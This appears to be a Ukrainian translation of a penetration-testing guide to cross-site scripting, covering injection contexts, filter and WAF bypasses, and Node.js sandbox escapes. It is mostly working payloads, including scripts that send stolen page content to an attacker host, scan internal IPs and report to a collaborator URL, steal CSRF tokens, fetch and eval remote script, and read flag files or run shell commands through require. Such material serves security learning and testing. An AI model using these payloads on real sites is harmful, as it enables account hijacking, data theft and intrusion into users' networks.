Для успішної експлуатації XSS перш за все вам потрібно знайти значення, яким ви керуєте, яке відображається на веб-сторінці.
Проміжно відображені: Якщо ви виявите, що значення параметра або навіть шляху відображається на веб-сторінці, ви можете використати Відображений XSS.
Збережені та відображені: Якщо ви виявите, що значення, яким ви керуєте, зберігається на сервері і відображається кожного разу, коли ви звертаєтесь до сторінки, ви можете використати Збережений XSS.
Доступ через JS: Якщо ви виявите, що значення, яким ви керуєте, використовується за допомогою JS, ви можете використати DOM XSS.
Контексти
Спробуючи експлуатувати XSS, перше, що вам потрібно знати, - де відображається ваш ввід. Залежно від контексту ви зможете виконати довільний JS код різними способами.
Чистий HTML
Якщо ваш ввід відображається на чистій HTML сторінці, вам потрібно зловживати деяким HTML тегом, щоб виконати JS код: <img , <iframe , <svg , <script ... це лише деякі з можливих HTML тегів, які ви можете використовувати.
Також, пам'ятайте про Внедрення шаблонів на клієнтському боці.
У межах атрибутів тегів HTML
Якщо ваш ввід відображається у значенні атрибута тегу, ви можете спробувати:
Вийти з атрибута та з тегу (тоді ви будете в чистому HTML) і створити новий HTML тег для зловживання: "><img [...]
Якщо ви можете вийти з атрибута, але не з тегу (> закодовано або видалено), залежно від тегу ви можете створити подію, яка виконує JS код: " autofocus onfocus=alert(1) x="
Якщо ви не можете вийти з атрибута (" кодується або видаляється), то залежно від якого атрибута ваше значення відображається в якому контексті ви контролюєте всі значення або лише частину, ви зможете зловживати цим. Наприклад, якщо ви контролюєте подію, як onclick=, ви зможете зробити, щоб вона виконувала довільний код при кліку. Ще один цікавий приклад - атрибут href, де ви можете використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"
Якщо ваш ввід відображається всередині "невикористовуваних тегів", ви можете спробувати трюк з accesskey, щоб зловживати уразливістю (вам знадобиться якийсь вид соціального інженерії, щоб експлуатувати це): " accesskey="x" onclick="alert(1)" x="
Дивний приклад Angular, який виконує XSS, якщо ви контролюєте назву класу:
У цьому випадку ваш ввід відображається між тегами <script> [...] </script> сторінки HTML, всередині файлу .js або всередині атрибуту, використовуючи протокол javascript::
Якщо відображається між тегами <script> [...] </script>, навіть якщо ваш ввід знаходиться всередині будь-яких лапок, ви можете спробувати впровадити </script> та вийти з цього контексту. Це працює, оскільки браузер спочатку аналізує теги HTML, а потім вміст, тому він не помітить, що ваш впроваджений тег </script> знаходиться всередині HTML-коду.
Якщо відображається всередині рядка JS і попередній трюк не працює, вам потрібно буде вийти з рядка, виконати свій код і перебудувати код JS (якщо виникне помилка, вона не буде виконана):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
Якщо відображається всередині шаблонних літералів, ви можете вбудовувати вирази JS за допомогою синтаксису ${ ... }: var greetings = `Hello, ${alert(1)}`
Кодування Unicode працює для написання дійсного коду JavaScript:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Підняття Javascript
Підняття Javascript посилається на можливість оголошення функцій, змінних або класів після їх використання, щоб ви могли використовувати сценарії, де XSS використовується невизначені змінні або функції.Перевірте наступну сторінку для отримання додаткової інформації:
На декількох веб-сторінках є кінцеві точки, які приймають як параметр назву функції для виконання. Загальним прикладом, який можна побачити в дикій природі, є щось на зразок: ?callback=callbackFunc.
Добрим способом виявити, чи щось, що надається користувачем, намагається бути виконаним, є зміна значення параметра (наприклад, на 'Vulnerable') та перегляд консолі за помилками, подібними до:
У разі вразливості ви можете спровокувати сповіщення, просто відправивши значення: ?callback=alert(1). Однак дуже поширено, що ці кінцеві точки будуть перевіряти вміст, щоб дозволяти лише літери, цифри, крапки та підкреслення ([\w\._]).
Однак, навіть з таким обмеженням, все ще можливо виконати деякі дії. Це тому, що ви можете використовувати ці дійсні символи для доступу до будь-якого елемента в DOM:
Ви також можете спробувати запустити функції Javascript безпосередньо: obj.sales.delOrders.
Проте, зазвичай кінцеві точки, які виконують вказану функцію, є кінцевими точками без цікавого DOM, інші сторінки в тому ж походженні матимуть цікавіший DOM для виконання більше дій.
Отже, для того, щоб зловживати цією вразливістю в іншому DOM, було розроблено використання експлуатації методу виконання з тієї ж самої початкової точки (SOME):
Є JS-код, який небезпечно використовує деякі дані, керовані зловмисником, такі як location.href. Зловмисник може скористатися цим для виконання довільного JS-коду.
Цей тип XSS можна знайти буде де. Вони не залежать лише від використання клієнта веб-додатку, але від будь-якогоконтексту. Цей тип довільного виконання JavaScript може бути використаний навіть для отримання RCE, читаннядовільнихфайлів на клієнтах та серверах, та інше.
Деякі приклади:
Коли ваш ввід відображається всередині HTML-сторінки або ви можете вибрати і впровадити HTML-код в цьому контексті, перше, що вам потрібно зробити - перевірити, чи можете ви зловживати < для створення нових тегів: просто спробуйте відобразити цей символ та перевірте, чи він кодується в HTML, чи видаляється, чи він відображається без змін. Тільки в останньому випадку ви зможете використати цей випадок.
Для цих випадків також пам'ятайтеВпровадження шаблонів на клієнтському боці.Примітка: HTML-коментар можна закрити за допомогою**** --> або ****--!>
У цьому випадку, якщо не використовується чорний/білий список, ви можете використовувати навантаження, подібні до:
Але, якщо використовується чорний/білий список тегів/атрибутів, вам доведеться перебирати теги, які ви можете створити.
Після того, як ви визначите, які теги дозволені, вам потрібно буде перебрати атрибути/події всередині знайдених дійсних тегів, щоб побачити, як ви можете атакувати контекст.
Перебір тегів/подій
Перейдіть на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet та натисніть на Копіювати теги в буфер обміну. Потім надішліть їх усіх за допомогою Burp Intruder та перевірте, чи які-небудь теги не були виявлені як шкідливі WAF. Після того, як ви виявите, які теги можна використовувати, ви можете перебрати всі події, використовуючи дійсні теги (на тій самій веб-сторінці натисніть на Копіювати події в буфер обміну та дотримуйтесь того ж процесу, що й раніше).
Власні теги
Якщо ви не знайшли жодного дійсного HTML тегу, ви можете спробувати створити власний тег та виконати JS-код з атрибутом onfocus. У запиті XSS вам потрібно закінчити URL символом #, щоб сторінка фокусувалася на цьому об'єкті та виконувала код:
Якщо використовується якийсь вид чорного списку, ви можете спробувати обійти його за допомогою деяких дурних трюків:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Обхід довжини (малі XSS)
Більше мікроскопічних XSS для різних середовищ навантаження можна знайти тут та тут.
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
Останній використовує 2 символи Unicode, які розширюються до 5: telsr
Більше таких символів можна знайти тут.
Щоб перевірити, в які символи розкладаються, перевірте тут.
Клік-ХСС - Клікджекінг
Якщо для використання уразливості вам потрібно, щоб користувач клацнув по посиланню або формі з попередньо заповненими даними, ви можете спробувати зловживати клікджекінгом (якщо сторінка є вразливою).
Неможливо - Висяча розмітка
Якщо ви просто вважаєте, що неможливо створити тег HTML з атрибутом для виконання JS-коду, вам слід перевірити Висячу розмітку, оскільки ви можете експлуатувати уразливість без виконання JS-коду.
Впровадження всередину тегу HTML
Всередині тегу/виходячи зі значення атрибуту
Якщо ви знаходитесь всередині тегу HTML, перше, що ви можете спробувати, це вийти з тегу та використати деякі з технік, згаданих у попередньому розділі для виконання JS-коду.
Якщо ви не можете вийти з тегу, ви можете створити нові атрибути всередині тегу, щоб спробувати виконати JS-код, наприклад, використовуючи деякий навантаження, як у цьому прикладі (зверніть увагу, що в цьому прикладі подвійні лапки використовуються для виходу з атрибуту, вам не знадобляться, якщо ваш ввід відображається безпосередньо всередині тегу):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
У межах атрибуту
Навіть якщо ви не можете вийти з атрибуту (" кодується або видаляється), залежно від якого атрибуту ваше значення відображається, чи контролюєте ви всі значення або лише частину, ви зможете його зловживати. Наприклад, якщо ви контролюєте подію, як onclick=, ви зможете зробити його виконати довільний код при кліці.
Ще одним цікавим прикладом є атрибут href, де ви можете використовувати протокол javascript: для виконання довільного коду: href="javascript:alert(1)"
Обхід всередині події за допомогою HTML-кодування/кодування URL
HTML-кодовані символи всередині значення атрибутів тегів HTML декодуються під час виконання. Тому щось на зразок наступного буде дійсним (пейлоад виділено жирним): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Зверніть увагу, що будь-яке HTML-кодування є дійсним:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
Зверніть увагу, що також працюватиме URL-кодування:
Обхід в середині події за допомогою кодування Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Спеціальні протоколи в атрибуті
Тут ви можете використовувати протоколи javascript: або data: в деяких місцях для виконання довільного JS коду. Деякі потребуватимуть взаємодії з користувачем, а деякі - ні.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new linescript:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Місця, де ви можете впровадити ці протоколи
Загалом протокол javascript: може бути використаний в будь-якому тезі, який приймає атрибут href і в більшості тезі, які приймають атрибут src (але не <img)
Крім того, є ще один цікавий трюк для таких випадків: Навіть якщо ваш ввід всередині javascript:... буде закодований у форматі URL, він буде розкодований перед виконанням. Так що, якщо вам потрібно вийти з рядка, використовуючи одинарну лапку, і ви бачите, що він закодований у форматі URL, пам'ятайте, що це не має значення, він буде інтерпретований як одинарна лапка під час виконання.
Зверніть увагу, що якщо ви спробуєте використовувати обидваURLencode + HTMLencode в будь-якому порядку для кодування пейлоаду, це не працюватиме, але ви можете поєднувати їх всередині пейлоаду.
Використання шістнадцяткового та вісімкового кодування з javascript:
Ви можете використовувати шістнадцяткове та вісімкове кодування всередині атрибуту src тегу iframe (принаймні) для виклику HTML тегів для виконання JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Зворотнє викрадення вкладки
<atarget="_blank"rel="opener"
Якщо ви можете впровадити будь-яку URL-адресу в довільний <a href= тег, який містить атрибути target="_blank" та rel="opener", перевірте наступну сторінку для використання цієї поведінки:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
З тут: Ви можете виконати XSS-пакет всередині прихованого атрибуту, якщо ви зможете переконатижертву натиснути комбінацію клавіш. У Firefox Windows/Linux комбінація клавіш - ALT+SHIFT+X, а на OS X - CTRL+ALT+X. Ви можете вказати іншу комбінацію клавіш, використовуючи іншу клавішу в атрибуті доступу до ключа. Ось вектор:
Якщо ви знайшли XSS в дуже маленькій частині веб-сайту, яка вимагає певного виду взаємодії (можливо, невелике посилання в підвалі з елементом onmouseover), ви можете спробувати змінити простір, який займає цей елемент, щоб максимізувати ймовірність виконання посилання.
Наприклад, ви можете додати деякий стиль до елементу, наприклад: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Але якщо WAF фільтрує атрибут стилю, ви можете використовувати CSS-гаджети, тому якщо ви знайдете, наприклад
.test {display:block; color: blue; width: 100%}
та
#someid {top: 0; font-family: Tahoma;}
Тепер ви можете змінити наше посилання і привести його до форми
У цих випадках ваш ввід буде відображений всередині коду JS файлу .js або між тегами <script>...</script> або між подіями HTML, які можуть виконувати код JS або між атрибутами, які приймають протокол javascript:.
Уникнення тегу <script>
Якщо ваш код вставлений всередині <script> [...] var input = 'відображені дані' [...] </script>, ви можете легко уникнути закриття тегу <script>:
Зверніть увагу, що в цьому прикладі ми навіть не закрили одинарну лапку. Це тому, що спочатку браузер виконує розбір HTML, що включає визначення елементів сторінки, включаючи блоки скриптів. Розбір JavaScript для розуміння та виконання вбудованих скриптів відбувається лише після цього.
Усередині коду JS
Якщо <> санітізовані, ви все ще можете екранувати рядок там, де знаходиться ваш ввід, і виконувати довільний JS. Важливо виправити синтаксис JS, оскільки якщо є помилки, код JS не буде виконаний:
Для конструювання строк окрім одинарних та подвійних лапок JS також приймає косі лапки`` . Це відомо як шаблонні літерали, оскільки вони дозволяють вбудовувати вирази JS за допомогою синтаксису ${ ... }.
Отже, якщо ви помітили, що ваш ввід відображається всередині JS-строки, яка використовує косі лапки, ви можете зловживати синтаксисом ${ ... } для виконання довільного JS-коду:
Це можна зловживати використовуючи:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Виконання закодованого коду
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript пробіли
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript у коментарі
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript без дужок
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
Уразливості DOM
Є JS-код, який використовує ненадійні дані, керовані зловмисником, такі як location.href. Зловмисник може скористатися цим для виконання довільного JS-коду.
Через розширення поясненняуразливостей DOM було переміщено на цю сторінку:
Там ви знайдете детальне пояснення того, що таке уразливості DOM, як вони викликаються і як їх можна використовувати.
Також не забудьте, що в кінці згаданого посту ви знайдете пояснення про атаки DOM Clobbering.
Інші обхідні шляхи
Нормалізований Юнікод
Ви можете перевірити, чи відображені значення є юнікодом нормалізовані на сервері (або на клієнтській стороні) і скористатися цією функціональністю для обхіду захисту. Знайдіть приклад тут.
Обхід флагу PHP FILTER_VALIDATE_EMAIL
"><svg/onload=confirm(1)>"@x.y
Обхід Ruby-On-Rails
Через масове призначення RoR у HTML вставляються лапки, після чого обмеження на лапки обходяться, і можна додати додаткові поля (onfocus) всередині тегу.
Приклад форми (з цього звіту), якщо ви відправите пейлоад:
Якщо ви виявите, що ви можете внедрювати заголовки у відповідь 302 Redirect, ви можете спробувати змусити браузер виконати довільний JavaScript. Це не так просто, оскільки сучасні браузери не інтерпретують тіло відповіді HTTP, якщо статус коду відповіді HTTP - 302, тому просто політ з перехопленням міжсайтових сценаріїв є безперспективним.
У цьому звіті і цьому ви можете прочитати, як ви можете перевірити кілька протоколів у заголовку Location та переконатися, чи дозволяє браузер переглядати та виконувати XSS-політ всередині тіла.
Відомі протоколи: mailto://, //x:1/, ws://, wss://, порожній заголовок Location, resource://.
Тільки літери, цифри та крапки
Якщо ви можете вказати зворотний виклик, який JavaScript буде виконувати, обмежений лише цими символами. Прочитайте цей розділ цього посту, щоб дізнатися, як скористатися цією поведінкою.
Дійсні типи вмісту <script> для XSS
(З цього джерела) Якщо ви спробуєте завантажити сценарій з типом вмісту таким, як application/octet-stream, Chrome видасть наступну помилку:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(З тут) Так, які типи можуть бути вказані для завантаження скрипта?
<scripttype="???"></script>
Відповідь:
модуль (за замовчуванням, немає нічого пояснювати)
webbundle: Web Bundles - це функція, яка дозволяє упаковувати набір даних (HTML, CSS, JS...) у файл .wbn.
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
Це поведінка використовувалася в цьому описі, щоб перенаправити бібліотеку на eval для зловживання нею та спровокування XSS.
speculationrules: Ця функція в основному призначена для вирішення деяких проблем, спричинених попереднім рендерингом. Вона працює наступним чином:
Якщо сторінка повертає тип вмісту text/xml, можливо вказати простір імен та виконати довільний JS:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Спеціальні шаблони заміни
Коли використовується щось на зразок "some {{template}} data".replace("{{template}}", <user_input>). Атакуючий може використовувати спеціальні заміни рядків для спроби обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Наприклад, у цьому описі, це було використано для екранування рядка JSON всередині скрипта та виконання довільного коду.
Якщо у вас є обмежений набір символів для використання, перевірте ці інші дійсні рішення для проблем XSJail:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Якщо все не визначено перед виконанням ненадійного коду (як у цьому описі), можливо створити корисні об'єкти "з нічого", щоб зловживати виконанням довільного ненадійного коду:
Використання import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Доступ до require опосередковано
Згідно з цим модулі обгортаються Node.js у межах функції, як показано нижче:
Отже, якщо з цього модуля ми можемо викликати іншу функцію, можна використовувати arguments.callee.caller.arguments[1] з цієї функції, щоб отримати доступ до require:
Так само, як у попередньому прикладі, можна використовувати обробники помилок для доступу до обгортки модуля та отримання функції require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Ви не зможете отримати доступ до куки з JavaScript, якщо встановлено прапорець HTTPOnly в куці. Але ось декілька способів обійти цей захист, якщо вам пощастить.
Вкрасти вміст сторінки
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Знайдення внутрішніх IP-адрес
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Коли будь-які дані вводяться в поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибрав збережений пароль і нічого не вводить, дані будуть витікати.
Кейлогер
Просто шукаючи на Github, я знайшов кілька різних:
Ви також можете використовувати metasploit http_javascript_keylogger
Викрадення токенів CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
